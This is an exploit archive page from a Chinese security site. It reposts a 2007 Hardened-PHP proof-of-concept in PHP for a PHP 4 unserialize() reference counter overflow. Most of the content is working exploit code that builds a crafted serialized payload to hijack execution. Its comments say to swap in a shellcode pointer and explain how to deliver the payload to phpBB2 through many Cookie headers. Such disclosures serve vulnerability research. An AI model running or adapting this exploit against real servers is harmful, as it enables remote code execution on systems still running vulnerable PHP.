首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHP 4 unserialize() ZVAL Reference Counter Overflow
来源:Hardened-PHP 作者:Stefan 发布时间:2007-03-06  

<?php

  ////////////////////////////////////////////////////////////////////////

  //  _  _                _                     _       ___  _  _  ___  //

  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //

  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //

  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //

  //                                                                    //

  //         Proof of concept code from the Hardened-PHP Project        //

  //                   (C) Copyright 2007 Stefan Esser                  //

  //                                                                    //

  ////////////////////////////////////////////////////////////////////////

  //           PHP 4 - unserialize() Reference Counter Overflow         //

  ////////////////////////////////////////////////////////////////////////

 

  // This is meant as a protection against remote file inclusion.

  die("REMOVE THIS LINE");

 

  // This exploit is only designed for linux x86 systems

  // where 0x08064058 is a readable address in the PHP process

  // (should be unless binary images are relocated default systems)

  //

  // The exploit does nothing useful. It just proves that the CPU

  // will try to execute the instruction at 0x99887766 which results

  // in a crash. Just replace it with a pointer to your shellcode and

  // it will work.

  //

  // To exploit phpBB2 with this you need to put a similar string

  // into the cookie. You must work around the size limit of HTTP

  // headers by using MANY Cookie: headers (not folded lines, real

  // headers). Additionally you must put at the end of ever line

  // a line terminator s:2:" and start every following line with

  // ";N; of course with URL encoded ';'

 

  $hashtable = str_repeat("A", 39);

 

  $hashtable[5*4+0]=chr(0x58);

  $hashtable[5*4+1]=chr(0x40);

  $hashtable[5*4+2]=chr(0x06);

  $hashtable[5*4+3]=chr(0x08);

 

  $hashtable[8*4+0]=chr(0x66);

  $hashtable[8*4+1]=chr(0x77);

  $hashtable[8*4+2]=chr(0x88);

  $hashtable[8*4+3]=chr(0x99);

 

  $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';

  for ($i=0; $i<65535; $i++) {

    $str .= 'i:0;R:2;';

  }

  $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';

 

  unserialize($str);

 

?>

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Links Management Application 1
·PHP < 4.4.5 / 5.2.1 php_binary
·Konqueror 3.5.5 (JavaScript Re
·PHP < 4.4.5 / 5.2.1 WDDX Sessi
·AJ Forum 1.0 (topic_title.php)
·AJDating 1.0 (view_profile.php
·PHP <= 4.4.6 mssql_[p]connect(
·AJ Auction Pro All Versions (s
·Asterisk <= 1.2.15 / 1.4.0 pre
·WebMod 0.48 (Content-Length) R
·Mercury/32 Mail Server <= 4.01
·PHP 4 Userland ZVAL Reference
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved